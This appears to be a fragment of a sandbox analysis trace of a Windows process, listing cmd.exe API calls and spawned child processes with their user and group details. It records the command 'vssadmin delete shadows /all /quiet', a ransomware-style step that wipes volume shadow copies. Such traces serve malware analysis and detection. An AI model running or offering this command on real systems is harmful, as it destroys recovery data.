MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e328, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0241.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0241.609] GetFileType (hFile=0xe8) returned 0x3 [0241.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0241.610] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.610] _get_osfhandle (_FileHandle=1) returned 0xf4 [0241.610] GetFileType (hFile=0xf4) returned 0x3 [0241.610] _get_osfhandle (_FileHandle=1) returned 0xf4 [0241.610] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x4a96c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0241.610] WriteFile (in: hFile=0xf4, lpBuffer=0x4a96c320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2bfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesWritten=0x2bfad8*=0x5, lpOverlapped=0x0) returned 1 [0241.610] GetProcessHeap () returned 0xa0000 [0241.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4012) returned 0xc2010 [0241.610] GetProcessHeap () returned 0xa0000 [0241.610] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xc2010 | out: hHeap=0xa0000) returned 1 [0241.610] GetProcessHeap () returned 0xa0000 [0241.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0xb9840 [0241.610] GetProcessHeap () returned 0xa0000 [0241.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0xb4630 [0241.610] GetConsoleOutputCP () returned 0x4e3 [0241.610] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a96bfe0 | out: lpCPInfo=0x4a96bfe0) returned 1 [0241.610] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0241.610] GetConsoleTitleW (in: lpConsoleTitle=0x2bfa90, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0241.611] GetProcessHeap () returned 0xa0000 [0241.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0xb8940 [0241.611] GetProcessHeap () returned 0xa0000 [0241.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0xb4660 [0241.611] GetProcessHeap () returned 0xa0000 [0241.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21c) returned 0xbb9a0 [0241.611] GetConsoleTitleW (in: lpConsoleTitle=0xbb9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0241.611] GetProcessHeap () returned 0xa0000 [0241.611] RtlReAllocateHeap (Heap=0xa0000, Flags=0x0, Ptr=0xbb9a0, Size=0x62) returned 0xbb9a0 [0241.611] GetProcessHeap () returned 0xa0000 [0241.611] RtlSizeHeap (HeapHandle=0xa0000, Flags=0x0, MemoryPointer=0xbb9a0) returned 0x62 [0241.611] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - Exit") returned 1 [0241.611] GetProcessHeap () returned 0xa0000 [0241.611] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbb9a0 | out: hHeap=0xa0000) returned 1 [0241.612] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0241.612] exit (_Code=2) Process: id = "11" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x6e095000" os_pid = "0x6e0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x5a4" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e1e1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 84 os_tid = 0x6e4 Process: id = "12" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x6e3ba000" os_pid = "0x718" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x5a4" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e1e1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 85 os_tid = 0x71c Thread: id = 86 os_tid = 0x748 Thread: id = 87 os_tid = 0x750 Thread: id = 88 os_tid = 0x754 Thread: id = 89 os_tid = 0x758